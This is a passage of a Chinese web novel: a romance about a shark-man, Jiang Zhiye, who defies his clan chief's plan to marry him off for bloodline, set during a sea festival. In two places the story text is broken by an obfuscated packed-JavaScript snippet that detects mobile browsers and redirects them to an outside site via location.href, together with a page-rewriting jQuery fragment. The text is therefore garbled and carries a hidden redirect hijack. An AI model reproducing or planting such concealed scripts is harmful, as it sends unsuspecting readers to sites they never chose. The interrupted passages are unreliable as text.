“回来多久了?”族长端起桌上的一个贝壳酒杯,抿了一口里面的琥珀色液体。 “没几天。”江知烨言简意赅。 “为什么回来?” “带朋友来看万萨节。” 族长放下酒杯,手指轻轻敲击着桌面,发出“笃笃”的声响。“万萨节……”他低声重复了一遍,“你还记得万萨节的意义吗?” 江知烨摇摇头:“父亲只说过是海上的庆典。” “不仅仅是庆典,”族长的目光变得深邃,“万萨节,是所有海族与大海沟通的日子,是祈求海神保佑,也是……确认血脉传承的日子。”他顿了顿,直视着江知烨的眼睛,“知烨,你是我们这一脉唯一能在淡水和海水中自由生活的后代,你的血脉很珍贵,不能浪费。” “我的血脉属于我自己。”江知烨毫不退让,“我已经有伴侣了,我不会跟别人结婚。” “柳漠澜是不错,”族长似乎并不意外他的反应,语气依旧平静,“但他不是我们族的人,他无法传承你的特殊血脉。你应该知道,我们族里有几个不错的雌性,她们的血脉也很纯净,跟你结合,是最好的选择。” “我不喜欢她们,我只喜欢阿澜。”江知烨的声音不大,却带着斩钉截铁的坚定。 “喜欢?”族长轻笑一声,带着一丝嘲讽,“在血脉传承面前,喜欢算什么?你父亲要是还在,他也会这么说。” 这句话像一根刺,扎进江知烨的心里。他猛地站起来:“我父亲不会强迫我做我不喜欢的事!” “他会不会,你心里没数吗?”族长的声音陡然拔高,眼神里闪过一丝厉色,“他当年为了族里的荣耀,放弃了自己喜欢的淡水鲛人,娶了你母亲,你以为他是心甘情愿的吗?但他知道,这是他的责任!” 江知烨愣住了。 他一直以为父母的结合是因为爱情,却没想到…… “你父亲用他的一生承担了责任,”族长的语气缓和了一些,但依旧带着压力,“现在,轮到你了,知烨。这不是为了我,也不是为了族里,这是为了你父亲,为了我们整个家族的未来。” 江知烨站在原地,心里乱成一团。父亲的背影,族长的话,江临的殷勤,还有柳漠澜温柔的眼神……各种念头在他脑海里交织,让他感到一阵头痛。 亿万年自然选择的残酷智慧,在动物的世界里,向来以竞争、共生、繁衍为生存法则的核心铁律。 爱或许是奢侈的注脚,但繁衍,是刻进基因的宿命刑章。 “我……”他张了张嘴,却不知道该说什么。 就在这时,一直沉默的江临突然开口了:“族长,您别为难知烨了。他刚回来,可能还不太适应。”他转向江知烨,脸上带着一如既往的温和笑容,“知烨,我知道你一时接受不了。这样吧,万萨节还有两天就到了,这两天你好好想想,也……跟你的朋友们好好玩玩。等庆典结束了,再做决定也不迟。” 族长看了江临一眼,似乎有些不满,但最终还是点了点头:“也好。江临,你多看着点他。” “是,族长。”江临恭敬地应道。 江知烨不知道自己是怎么走出船舱的。海风吹在脸上,带着咸湿的味道,却让他混乱的头脑稍微清醒了一些。他看到柳漠澜他们还在沙滩上等着,方妙看到他出来,立刻跑了过来。 “知烨,怎么样?他们没为难你吧?” 江知烨摇了摇头,勉强笑了笑:“没事,就是聊了聊。” 柳漠澜走到他身边,没有多问,只是轻轻握住了他的手。 “我们回去吧。”江知烨说。 回去的路上,众人都很安静。顾时夜和顾夜白似乎也察觉到了气氛不对,没有像往常一样打闹。方妙几次想开口安慰江知烨,都被安德鲁用眼神制止了。 回到住处,江知烨直接走进了自己的房间。柳漠澜没有跟进去,只是在门外静静地站着。他知道江知烨需要时间冷静。 屋里,江知烨靠在门上,缓缓滑坐在地上。族长的话像魔咒一样在他脑海里回响。他一直以为父亲是个坚强的榜样,却没想到父亲也有自己的无奈。 那他呢?他该怎么办? 他不想放弃柳漠澜,一点都不想。 可是,族长的话,还有那个所谓的“责任”,像一座大山一样压在他身上。 他第一次觉得,自己引以为傲的特殊血脉,竟然成了束缚他的枷锁。 不知过了多久,门外传来轻轻的敲门声。 “知烨?”是柳漠澜的声音,“我能进来吗?” “嗯。” 柳漠澜推门进来,手里端着一杯热牛奶。他把牛奶放在桌上,然后在江知烨身边坐下,没有说话,只是静静地陪着他。 “阿澜,”江知烨突然开口,声音有些沙哑,“你说,我父亲他……是不是也很痛苦?” 柳漠澜愣了一下,随即明白了他的意思。他想了想,缓缓说道:“我不知道你父亲具体经历了什么,但我相信,他一定有他的苦衷。”他看着江知烨的眼睛,认真地说,“可是知烨,那是他的人生,不是你的。你不需要为了别人的选择,放弃自己的幸福。” “但是族长说……” “族长有族长的考虑,”柳漠澜打断他,“但你的人生,应该由你自己决定。”他握住江知烨的手,眼神坚定,“知烨,无论你做什么决定,我都会支持你。如果你想离开,我们现在就走。如果你想留下面对,我会一直陪着你。” 江知烨看着柳漠澜的眼睛,那里面没有丝毫犹豫和动摇,只有满满的信任和支持。 之前的迷茫和困惑,好像一下子都消失了。 是啊,那是他的人生,他为什么要为了所谓的“责任”,放弃自己真正想要的东西呢?父亲的选择或许有他的无奈,但他不想重蹈覆辙。 “阿澜,”江知烨握紧了柳漠澜的手,眼神重新变得明亮而坚定,“我们不走。万萨节,我们一起去看。至于其他的……我会处理好的。” 柳漠澜笑了,眼里的温柔几乎要溢出来:“好,我们一起。” 窗外,月亮升上了夜空,银色的月光洒在沙滩上,也洒在紧紧相握的两只手上。 而在不远处的那艘黑色大船上,族长站在甲板上,望着江知烨住处的方向,眼神深沉。江临走到他身边,低声问:“族长,您真的打算等到万萨节之后?” 族长没有回头,只是淡淡说道:“万萨节的夜晚,海面上会有特殊的磁场,那时候……才是最好的时机。”他嘴角勾起一抹难以察觉的弧度,“江知烨,不管你愿不愿意,你的血脉,终究要为家族所用。” 江临低下头,眼中闪过一丝复杂的光芒,但很快就被恭敬所取代:“是,族长。” 万萨节的前一天,整个镇子都陷入了最后的狂欢准备。 顾时夜和顾夜白一大早就被街上的喧闹吵醒,麻溜地起来抓着没吃完的海苔饼就冲了出去,很快就跟一群小鱼人混在一起,帮忙往船上挂彩带,时不时发出几声兴奋的尖叫。 方妙则跟着二姨奶在厨房里忙碌,她系着一条海藻绿的围裙,正小心翼翼地往一个巨大的贝壳盘子里摆放雕花的海鱼肉,安德鲁站在她身边,帮着递调料,时不时伸手替她擦去脸颊上的面粉,两人之间的互动温馨而自然。 柳漠澜坐在屋檐下,手里拿着一卷用海草纤维编织的渔网,慢条斯理地修补着一处破损。他的动作轻柔而专注,阳光透过榕树的枝叶洒在他身上,落下斑驳的光影,给人一种岁月静好的错觉。 江知烨靠在他身边,心里却不像表面那么平静。自从昨天跟族长谈过之后,江临虽然没有再刻意纠缠,但他能感觉到,那双隐藏在温和面具下的眼睛,始终没有离开过自己。还有族长那艘黑色的大船,像一头沉默的巨兽,静静地停泊在港口最显眼的位置,无时无刻不在提醒着他潜在的压力。 “在想什么?”柳漠澜的声音打断了他的思绪,带着一丝不易察觉的关切。他放下手中的渔网,伸手握住江知烨微凉的手指。 江知烨回过神,对他笑了笑,摇了摇头:“没什么,就是觉得……这里的节日气氛真好。”他侧头看向港口,那里有几个年轻的鲨鱼兽人正在互相泼水打闹,他们露出的尾鳍拍打在水面上,溅起大片晶莹的水花。 柳漠澜顺着他的目光看去,沉默了片刻,忽然说道:“知烨,听说万萨节的夜晚,海面上会有‘蓝眼泪’出现,是真的吗?” 提到“蓝眼泪”,江知烨的眼睛亮了一下,暂时忘记了心中的烦恼。 “嗯!是真的!”他坐直身体,语气里带着孩童般的兴奋,“那是一种生活在深海的微生物,只有在万萨节前后,受到特殊的潮汐和月光影响,才会浮到浅海来。它们聚集在一起的时候,海水就会变成梦幻的蓝色,只要轻轻一碰,就会发出荧光,可漂亮了!”他顿了顿,眼神里闪过一丝怀念,“我小时候跟父亲出过一次海,有幸见过一次,那时候觉得整个大海都在发光,像掉进了星星堆里一样。” 柳漠澜看着他眼中闪烁的光芒,也跟着笑了起来:“听起来很神奇,真希望今晚能看到。” “会看到的!”江知烨说得很肯定,“只要天气好,海面平静,就有很大的概率能遇到。”他握住柳漠澜的手,语气带着期待,“阿澜,等下半夜人少一点,我们一起划着小船去海上看,好不好?” “好。”柳漠澜毫不犹豫地答应了。 就在这时,顾时夜和顾夜白满头大汗地跑了回来,顾夜白手里还举着一串彩色的贝壳手链。“江大人!阿澜哥!你们看!这是小鱼人送给我的!”他献宝似的把链子递到江知烨面前,贝壳在阳光下折射出五彩的光芒。 顾时夜则凑到江知烨身边,神秘兮兮地压低声音:“江大人,我刚才听到那些大人们在说,今晚族长会亲自主持万萨节的祭海仪式,还要……还要选什么‘海神的宠儿’呢!” 江知烨心里“咯噔”一下,有种不好的预感。“海神的宠儿?选来做什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江知烨在帮忙搬运贡品的时候,无意间听到几个年长的族人在低声议论。 “……族长这次回来,怕是铁了心要让知烨那孩子……” “嘘!小声点!这种事怎么能随便议论……” “可是知烨那孩子性子也倔,你看他跟那个外族的小子走得多近……” “没办法,谁让他是唯一的……唉,这也是为了族里好……” 江知烨握紧了拳头,指甲几乎嵌进掌心。他强忍着没有发作,转身走向另一边。柳漠澜默默地跟在他身后,递给他一块干净的布帕:“擦擦手,别弄脏了。” 江知烨接过布帕,低声道:“阿澜,他们……” “我知道。”柳漠澜打断他,语气很轻,“别放在心上,晚上再说。” 夜幕渐渐降临,万萨节前夕的庆典正式开始了。港口上灯火通明,无数盏用海螺和贝壳做成的灯笼被悬挂起来,照亮了整个海面。 祭海仪式在主祭船上举行。族长穿着象征权力的深海鱼尾袍,站在海神雕像前,手持一根镶嵌着蓝色宝石的权杖,口中念念有词。随着他的咒语,船上的夜光贝依次亮起,发出柔和的蓝光,与天空中的明月交相辉映。海面上,所有的船只都点亮了灯火,随着海浪轻轻摇曳,形成一片灯的海洋。 仪式进行到一半,族长突然提高了声音,面向聚集在沙滩上的族人:“各位族人!在这神圣的万萨节前夕夜,海神将选出一位‘宠儿’,赐予他无上的祝福!” 随着他的话音落下,几个穿着黑色礼服的侍从抬着一个巨大的贝壳托盘走上前来,托盘里装满了闪闪发光的白色贝壳。 “现在,”族长的目光缓缓扫过人群,最终落在了江知烨身上,嘴角勾起一抹意味深长的笑容,“请我们尊贵的客人,江知烨,来抽取这位幸运的‘海神宠儿’!” 众人的目光齐刷刷地投向江知烨,带着好奇、探究,还有一些他看不懂的情绪。江知烨心里一沉,知道该来的终究来了。 他深吸一口气,走上主祭船。在众人的注视下,他伸出手,缓缓探入贝壳托盘中。指尖触碰到冰凉光滑的贝壳,他能感觉到所有人的目光都聚焦在自己身上,包括族长那双锐利如鹰的眼睛。 就在他的手指即将握住某一枚贝壳时,突然,远处的海面上传来一阵惊呼声。 “快看!那是什么?!” “蓝眼泪!是蓝眼泪出现了!” 所有人都不约而同地转向海面。只见远处的海平面上,泛起了一片幽幽的蓝光,像一条蓝色的丝带,随着海浪缓缓波动。蓝光越来越亮,越来越广,很快就蔓延到了港口附近的海域。轻轻拍打在船舷上的浪花,也变成了梦幻的蓝色,仿佛整个大海都燃烧起了蓝色的火焰。 “天哪……太美了……”方妙忍不住捂住了嘴,眼睛里闪烁着激动的光芒。 安德鲁将她轻轻揽入怀中,低声道:“小心着凉。” 顾时夜和顾夜白则兴奋地尖叫起来,顾夜白差点跳进海里:“哥!你看!真的会发光!” 柳漠澜站在沙滩上,望着那片蓝色的奇迹,想起了江知烨说的“像掉进了星星堆里”。 此刻看来,确实如此。 江知烨站在主祭船上,也被眼前的景象惊呆了。那些细小的微生物在海水中游动,每一次波动都散发出幽蓝的光芒,仿佛整个大海都在呼吸,在闪烁。他几乎忘记了自己身处何地,忘记了族长和那些复杂的眼神,脑海里只剩下童年时和父亲一起看到的那片蓝色海洋。 就在这时,他感觉到手指触碰到了一枚与众不同的贝壳。那枚贝壳比其他的都要大一些,表面光滑如玉,散发着淡淡的荧光,握在手里,竟然能感觉到一丝微弱的暖意。 他鬼使神差地将这枚贝壳拿了出来,举在手中。 “哦?”族长的声音带着一丝惊讶,他看着江知烨手中的贝壳,眼神里闪过一丝不易察觉的光芒,“看来,海神已经做出了选择……” 江知烨低头看着手中的贝壳,蓝色的光芒映在他的眼底,突然明白了什么。他抬起头,目光穿过人群,落在了沙滩上的柳漠澜身上。 柳漠澜也正看着他,眼神温柔而坚定,仿佛在说:无论发生什么,我都在。 江知烨深吸一口气,握紧了手中的贝壳。他知道,万萨节的夜晚,才刚刚开始。而属于他的挑战,也伴随着这片蓝色的奇迹,正式拉开了帷幕。 65. 蓝涛私语 祭海仪式后的喧嚣如同退潮的海水,在午夜时分渐渐归于沉寂。港口只剩下零星的灯火,海螺风铃在夜风中发出细碎的声响,混着远处海浪拍打礁石的韵律。 江知烨和柳漠澜肩并肩走到沙滩边,一艘用浅色松木打造的小船早已系在礁石旁,船舷上还挂着两盏未熄灭的贝壳灯,幽蓝的光晕在沙地上投下晃动的影子。 “他们都睡了?”柳漠澜轻声问,伸手解开船头的缆绳。 “嗯,妙儿吃撑了闹肚子,安德鲁哄了半天才睡着。顾时夜和顾夜白缠着三叔公讲了一晚上海怪故事,现在估计睡得跟小猪似的。”江知烨笑了笑,弯腰提起船尾的木桨,“白鸽……他好像还坐在院子里看星星。” 两人合力将小船推入浅滩,海水没过脚踝,带着夜晚的凉意。江知烨先跳上船,伸手接过柳漠澜递来的桨,又虚扶着他的腰帮他站稳。小船在海面上轻轻摇晃,贝壳灯的光芒随波荡漾,将周围的海水染成一片朦胧的蓝。 柳漠澜拿起另一支桨,与江知烨同时划动。木桨切入水面,发出“哗啦”的轻响,小船缓缓驶向深海。身后的镇子越来越远,灯火变成模糊的光点,唯有头顶的月亮和身边的人是清晰的。 海面上很静,只有桨声和水流声。江知烨看着柳漠澜划船的侧影,他的动作舒缓而有力,月光勾勒出他挺直的鼻梁和紧抿的唇线,平日里清冷的眉眼在夜色中显得格外柔和。 “阿澜,”江知烨突然开口,声音被海风送得很远,“今天……谢谢你。” 柳漠澜握着桨的手顿了一下,转头看他:“谢我什么?” “谢谢你一直陪着我。”江知烨看着水面上晃动的月影,“族长他们……其实挺吓人的。要不是你在,我可能早就慌了。” 柳漠澜放下木桨,身体微微前倾,伸手握住江知烨放在船板上的手,“我说过,”他的声音很轻,却带着不容置疑的坚定,“无论发生什么,我都会在你身边。” 江知烨的心像是被什么东西轻轻撞了一下,暖暖的。他反握住柳漠澜的手,指尖蹭过他手背上细腻的皮肤。“我知道。”他低声说,“其实……我小时候一直觉得,父亲的世界只有大海和族里的责任,直到遇到你,我才知道,原来有些东西比责任更重要。” 柳漠澜没有说话,只是用拇指轻轻摩挲着他的手背。两人之间流淌着一种无需多言的默契,仿佛连海风都变得温柔起来。 小船漂到一片开阔的海域,周围没有其他船只,只有远处偶尔闪过蓝眼泪的微光。江知烨放下桨,站起身,走到船头。他抬头望着星空,银河像一条璀璨的丝带横跨天际,无数星辰在深蓝的夜幕中闪烁。 “阿澜,”他转过身,眼睛在夜色中亮得惊人,“我想给你看个东西。” 柳漠澜疑惑地看着他。只见江知烨深吸一口气,手指解开腰间的腰带,然后是上衣的纽扣。月光下,他冷白色的肌肤仿佛透明,肌肉线条流畅而有力。当最后一件衣物滑落在船板上时,柳漠澜的瞳孔微微收缩。 江知烨纵身一跃,跳入海中。溅起的水花在月光下折射出细碎的光芒,随即归于平静。几秒钟后,水面下浮现出一道银灰色的影子,迅速向上升起——那是一条巨大的鲨鱼尾,鳞片在蓝眼泪的映照下闪烁着珍珠般的光泽,尾鳍轻轻摆动,带起一圈圈荧光的涟漪。 江知烨的上半身露出水面,头发湿漉漉地贴在额角,脸上带着一丝紧张和期待。“你喜欢......我这样吗?” 柳漠澜蹲在船头,目光紧紧锁住那截银蓝色的鱼尾。那流畅的线条,充满力量感的摆动,以及尾鳍间流淌的蓝色荧光,都让他感到一种源自灵魂深处的震撼。 “很漂亮。”柳漠澜的声音有些沙哑,他伸出手,指尖轻轻触碰水面,“像……像流动的月光。” 江知烨笑了,那是如释重负的笑容。他想起小时候第一次在父亲面前显露鱼尾时,父亲也是这样的表情,带着骄傲和欣慰。“父亲还教过我一个办法,”他说着,深吸一口气,喉咙里发出一种奇异的低频震动,像是鲸歌,又像是海浪拍打礁石的轰鸣。 随着这声音响起,周围的海水开始微微波动。蓝眼泪聚集得越来越多,形成一片闪烁的蓝色光海。紧接着,无数银色的小鱼从深海中游了上来,围绕着江知烨的鱼尾游动,形成一个巨大的漩涡。它们的身体在蓝眼泪中穿梭,反射出点点星光,仿佛整个海洋都在为他起舞。 “知烨……”柳漠澜看得呆住了,他从未见过如此神奇的景象,仿佛眼前的人不是他的伴侣,而是真正的海神之子。 江知烨朝他伸出手,掌心向上,蓝色的光芒在他指尖流转。“阿澜,下来。”他的声音带着诱惑,“感受一下这片海。” 柳漠澜没有丝毫犹豫。他站起身,脱下外袍,露出里面贴身的白色里衣,然后纵身跳入海中。冰冷的海水瞬间包裹了他,但他却感觉不到寒意,因为一双有力的手臂已经稳稳地抱住了他。 江知烨的鱼尾在他身下轻轻摆动,托着他漂浮在水面上。两人靠得很近,近到能清晰地闻到对方身上的气息。 四目相对,月光和蓝眼泪的光芒映在他们眼中,仿佛盛满了整个星空。江知烨的心跳得很快,他能感觉到柳漠澜身体的温度,还有他微微颤抖的指尖。 “阿澜……”他低声唤道,声音里带着一丝沙哑。 柳漠澜抬起头,长长的睫毛上挂着水珠,眼神温柔得能滴出水来。“嗯?” 江知烨再也忍不住,低头吻住了眼前人的唇。那是一个带着海水咸味和温柔爱意的吻,小心翼翼,却又充满了不容错辨的深情。柳漠澜先是一怔,随即闭上眼仰头回应着他。 两人的身体在海水中轻轻摇晃,周围是闪烁的蓝眼泪和游动的鱼群,仿佛整个世界都只剩下他们。柳漠澜的双腿在水中无意识地摆动,随即再次幻化成一条蛇尾,轻轻缠住了江知烨的鲨鱼尾。 “唔……”柳漠澜低吟一声,口腔被完全侵占,口齿交缠带着水声。而在意识模糊的瞬间,他下意识地抱紧了江知烨的脖子,嘴唇擦过他的耳垂,轻声喊了一句:“哥哥……” 江知烨的动作猛地一顿,瞳孔骤然收缩。他能清晰地听到那个称呼,带着一丝软糯的鼻音,像羽毛一样搔刮着他的心尖。 太熟悉了,熟悉地他差点失控。 他微微退后,看着柳漠澜泛着水光的脸,眼神里充满了震惊和疑惑:“阿澜,你刚才……叫我什么?” 柳漠澜似乎也意识到了自己说了什么,脸颊“腾”地一下红了,连带着耳垂都染上了粉色。他有些慌乱地移开目光,蛇尾下意识地收紧了缠在江知烨身上的力道,声音细若蚊蚋:“……你听错了。” “我没有听错。”江知烨肯定地说,他能感觉到自己的心跳得更快了,“你叫我‘哥哥’。” 柳漠澜咬了咬下唇,长长的睫毛飞快地颤动着,他没有再否认,只是把脸埋进江知烨的肩窝,闷闷地说:“……别问了。” 江知烨看着他泛红的耳尖,原本的震惊渐渐被一种奇异的兴奋取代。 他勾了勾嘴角,没有再追问,只是伸出手,轻轻抚摸着他背后湿润的发丝。“好,不问了。”他低声说,语气里带着一丝不易察觉的笑意,“我们回去吧,小家伙。” 柳漠澜点点头,依旧没有抬起头。两人慢慢游向小船,江知烨帮他爬上船,自己则一个翻身,稳稳地落在船板上。鱼尾在接触到空气的瞬间化作双腿,水珠顺着他流畅的肌肉线条滑落,在月光下闪烁。 柳漠澜背对着他,快速地穿上外袍,手指因为紧张而有些发抖。江知烨走过去,从身后轻轻抱住他,下巴抵在他的发顶。 “阿澜,”他轻声说,“不管你叫我什么,我都是你的。” 柳漠澜的身体僵了一下,随即放松下来,轻轻“嗯”了一声。 两人不再说话,默默地划着船往回走。海面上恢复了平静,只有蓝眼泪还在远处闪烁,像是遗落在人间的星星。小船划破水面,留下一道银色的轨迹,如同他们之间无声流淌的爱意,在万籁俱寂的夜晚,温柔而坚定。 ...... 万萨节的晨光伴随着海螺号角的长鸣降临。金色的阳光刺破海平面,将港口染成一片辉煌。镇子上的族人们早已换上了最鲜艳的节日盛装——男人们大多穿着无袖的海草短褂,露出结实的臂膀,耳尖的银鳞耳钉在阳光下闪闪发亮;女人们则穿着鱼尾状的彩色长裙,裙摆上缀满了会随着动作发出清脆声响的小贝壳。 顾时夜和顾夜白兴奋的天不亮就爬了起来,手里挥舞着用海螺壳和彩带做成的小旗子,在院子里跑来跑去。“江大人!阿澜哥!快起来!今天有海上竞渡!赢了的人能得到海神的祝福!”顾时夜的声音穿透房门,带着毫不掩饰的兴奋。 江知烨揉了揉眼睛,身边的柳漠澜已经坐了起来,有点胡乱地整理衣襟。 昨晚的事像一场美丽的梦,虽然柳漠澜后来再也没提过“哥哥”的事,但江知烨每次看到他泛红的耳尖和眼角的泪花,全身就像点了火一样。 “知道了,别吵。”江知烨扬声应道,掀开被子下床。 洗漱完毕,众人聚集在院子里吃早餐。二姨奶端来了刚出炉的海苔饼和热气腾腾的鱼粥,方妙立刻被香气吸引,拿起一块海苔饼咬了一大口,眼睛亮晶晶的:“知烨,安德鲁,你们快尝尝!二姨奶做的海苔饼是世界上最好吃的!” 安德鲁无奈地笑了笑,帮她擦掉嘴角的碎屑:“慢点吃,没人跟你抢。” 顾夜白凑到江知烨身边,神秘兮兮地说:“江大人,我听说今天的竞渡冠军,还能得到族长亲自颁发的‘海神之珠’呢!是不是很厉害?” 江知烨刚喝了一口鱼粥,闻言动作顿了一下。他抬眼看向港口方向,族长的黑色大船依旧停泊在那里,他隐隐觉得,今天的万萨节恐怕不会像表面看起来那么简单。 柳漠澜似乎察觉到了他的心思,不动声色地递给他一块干净的布帕:“擦擦嘴。” 江知烨接过布帕,对他笑了笑,压下心中的疑虑。“今天的竞渡,你们想参加吗?” “想!”顾时夜和顾夜白异口同声地喊道,顾时夜拍了拍胸脯,“江大人你就看好吧!我和小白肯定能拿第一!” “我们也要参加!”方妙举起手,眼睛里闪烁着跃跃欲试的光芒,“安德鲁,我们一起好不好?” 安德鲁看了看她兴奋的样子,点了点头:“好,不过一会儿下水的时候要小心。” 江知烨看向柳漠澜,柳漠澜摇了摇头:“我水性不好,就在岸边给你们加油吧。”他顿了顿,又补充道,“知烨,你呢?” 江知烨想了想,摇头道:“我也不参加了,陪你在岸边看着。”他知道自己的身份敏感,不想在今天惹出太多麻烦。 早餐过后,众人跟着人流来到港口。海面上早已停满了各式各样的小船,参赛的选手们正在做最后的准备。顾时夜和顾夜白被分到了一艘小巧灵活的贝壳船上,船头雕刻着一只可爱的小海豚;方妙和安德鲁则上了一艘装饰着彩色珊瑚的木船。 “江大人!妙儿姐!安大人!我们一定会赢的!”顾时夜站在船头,朝岸边挥手,顾夜白则用力点着头,手里紧紧握着船桨。 方妙也笑着挥手:“知烨!阿澜哥!等我们拿冠军回来!” 安德鲁对江知烨和柳漠澜点了点头,眼神沉稳:“看好他们。” 江知烨和柳漠澜站在沙滩上,看着朋友们的船只驶入比赛区域。白鸽默默地站在他们不远处,手里拿着一根树枝,在沙滩上画着什么。他今天依旧很安静,只是眼神时不时地飘向海面,带着一丝不易察觉的紧张。 这时,一阵骚动从人群后方传来。江知烨抬头望去,只见族长在江临和几个随从的簇拥下走了过来。他依旧穿着那件绣着银色海浪纹的黑色长袍,眼神锐利地扫过人群,最终落在了江知烨身上。 “江知烨,”族长走到他面前,语气平静无波,“怎么不参加竞渡?你的水性,在族里也是数一数二的。” 江知烨迎上他的目光,不卑不亢地说:“族长,我更想在岸边看朋友们比赛。” 族长没有说话,只是意味深长地看了他一眼,然后转向海面。 此时,海螺号角再次响起,宣布竞渡比赛正式开始。 “咚咚咚——!”沉闷地击鼓声响起,上百艘小船如离弦之箭般冲了出去。顾时夜和顾夜白配合默契,弟弟负责掌舵,哥哥奋力划桨,他们的贝壳船像一条灵活的小鱼,很快就冲到了队伍的前列。方妙和安德鲁的船也不甘示弱,安德鲁沉稳有力的划桨动作让木船保持着稳定的速度,方妙则在一旁大声喊着加油,清脆的声音穿透了海面上的喧嚣。 “快看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694797|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !那两个鸟族的!他们好快!”人群中发出一阵惊呼。 江知烨脸上露出笑容,为朋友们感到高兴。 就在这时,江临突然走到江知烨身边,低声说:“知烨,族长有请,去主祭船上观赛。” 江知烨皱了皱眉,正要拒绝,却看到族长已经转身朝主祭船走去,显然没有给他拒绝的余地。 他看了柳漠澜一眼,柳漠澜对他点了点头:“我在这里等你。” 江知烨深吸一口气,跟在江临身后走上主祭船。甲板上早已摆好了桌椅,族长坐在最尊贵的位置上,示意他坐下。 “知烨,”族长端起桌上的酒杯,抿了一口,“你看这海上竞渡,像不像人生?” 江知烨没有说话,只是看着海面。 “有的人像那两双胞胎一样,拼尽全力往前冲,以为能赢得胜利;有的人像安德鲁那样,沉稳持重,以为能笑到最后。”族长的声音不高,却带着一种穿透力,“但他们都不知道,真正的胜负,从来不由自己决定。” 江知烨猛地转头看向他,眼神锐利:“族长想说什么?” 族长放下酒杯,直视着他的眼睛:“我想说,你的人生,也该由不得你自己。”他顿了顿,语气变得严肃起来,“万萨节是神圣的日子,按照族规,成年的直系血脉,必须在这一天确认婚约。你父亲走了,我作为族长,也作为一个种族的首领,有责任为你安排好一切。” “我已经有伴侣了!”江知烨的声音陡然拔高,“我不会和任何人订婚!” “柳漠澜?”族长冷笑一声,“一个外族的蛇人,能给你什么?能传承你的血脉吗?能带领族人度过难关吗?”他站起身,走到甲板边缘,望着远处竞渡的船只,“知烨,你以为我真的想逼你吗?我是为了整个家族!我们的血脉正在衰退,只有你,能改变这一切。” “我的血脉属于我自己!”江知烨也站了起来,一副随时暴走的状态,“我和阿澜是伴侣,这一点永远不会变!” “是吗?”族长转过身,眼神里闪过一丝厉色,“那你就看着吧,看看你的‘伴侣’,以及——你的朋友们,能不能在这场‘海神的考验’中,保护好自己。” 江知烨心里一沉,顺着族长的目光望去。只见海面上,原本晴朗的天空突然飘来几朵乌云,海风也变得猛烈起来。更可怕的是,顾时夜和顾夜白的贝壳船旁边,竟然出现了一个巨大的漩涡! “不好!”江知烨失声喊道。 顾时夜和顾夜白显然也发现了危险,他们拼命划桨想要避开漩涡,但船身却被一股强大的力量吸了过去。方妙和安德鲁的船离得最近,安德鲁立刻调转船头想要去帮忙,却被一股突然而来的巨浪打翻了船! “安德鲁!妙儿!”江知烨目眦欲裂,想要跳下海,却被身边的随从拦住了。 “放开我!”江知烨奋力挣扎,却怎么也挣脱不开。 就在这千钧一发之际,一道白色的身影如同闪电般冲向海面——是白鸽! 对方此刻正以惊人的速度飞向落水的方妙和安德鲁。几乎同时,顾时夜和顾夜白直接弃船飞起去帮忙。 看着自己的家人居然陷入危险,江知烨瞳孔缩成一点,血丝迅速蔓延眼眶 就在这时,他感觉到体内有什么东西苏醒了。那是源自血脉深处的力量,就像父亲曾教导过他的,与大海沟通的能力。 他不再挣扎,闭上眼睛,深深吸了一口气,喉咙里再次发出那种奇异的低频震动。 这一次,震动的频率更高,力量也更强。仿佛整个大海都在回应他的呼唤。海面上的风浪开始平息,漩涡的力量渐渐减弱。蓝眼泪再次聚集起来,形成一片闪烁的光海,无数银色的小鱼从深海中游出,围绕着漩涡游动,形成一道坚固的屏障。 同时白鸽他们也已经救起了方妙和安德鲁,将他们拖到附近的一块礁石上。 江知烨睁开眼睛,眼神锐利如鹰。他看向族长,声音冰冷:“这就是您说的‘海神的考验’?未免——太简单了吧。” 族长的脸色有些难看,但很快就恢复了平静:“大海的脾气,谁也无法预测。” “是吗?”江知烨冷笑一声,挣脱了随从的束缚。他走到甲板边缘,纵身一跃,跳入海中。银色的鲨鱼尾在水中展开,带起一片蓝色的光芒。他朝着柳漠澜的岸边方向游去,速度快得惊人。 柳漠澜看到他,眼中闪过一丝惊喜和担忧。 江知烨回到他身边,一把将他揽入怀中,声音带着后怕:“没吓到吧?” 柳漠澜摇摇头,看着他眼中的关切,轻声说:“我没事。你呢?” “我也没事。”江知烨紧紧抱着他,感受着他真实的体温,悬着的心终于落了地。他转头看向礁石上的朋友们,顾时夜和顾夜白正在对着他挥手,方妙依偎在安德鲁怀里,脸色还有些苍白,白鸽站在一旁,朝他比了个“没事”的手势。 主祭船上,族长看着海面上相拥的两人,又看了看礁石上安然无恙的众人,眼神复杂。 江临站在他身后,低声说:“族长,看来……” 族长摆了摆手,打断了他的话。 他看到了江知烨眼里的爱——那是一种决定性地选择与停留,他们鲨鱼,一生都不会停留,可江知烨在对那外族人时,却是以一种自毁式臣服。 他突然叹了口气。 “罢了,”他轻声说,“血脉固然重要,但……或许,顺应本心,才是真正的‘海神之誓’吧。” 江临惊讶地看着他,似乎不敢相信自己的耳朵。 族长没有再说话,只是转身走进了船舱。海面上,顾时夜和顾夜白围着江知烨和柳漠澜,七嘴八舌地说着刚才的惊险。 “江大人!你好厉害!那个漩涡突然就没了! “是啊是啊!还有白鸽,你速度好快!” 方妙也凑了过来,眼眶红红的:“吓死我了,差点以为又要没命了!” 安德鲁拍了拍江知烨的肩膀,眼神里带着感激和敬佩:“知烨,幸好有你。” “我们是家人,”江知烨说,声音坚定而温暖,“无论遇到什么困难,我们都会一起面对。” 海风再次吹起,带着万萨节的欢歌和大海的祝福。远处的港口,族人们正在欢呼,庆祝这场有惊无险的节日。江知烨伸出手,紧紧握住了柳漠澜的手。 66. 囚爱书 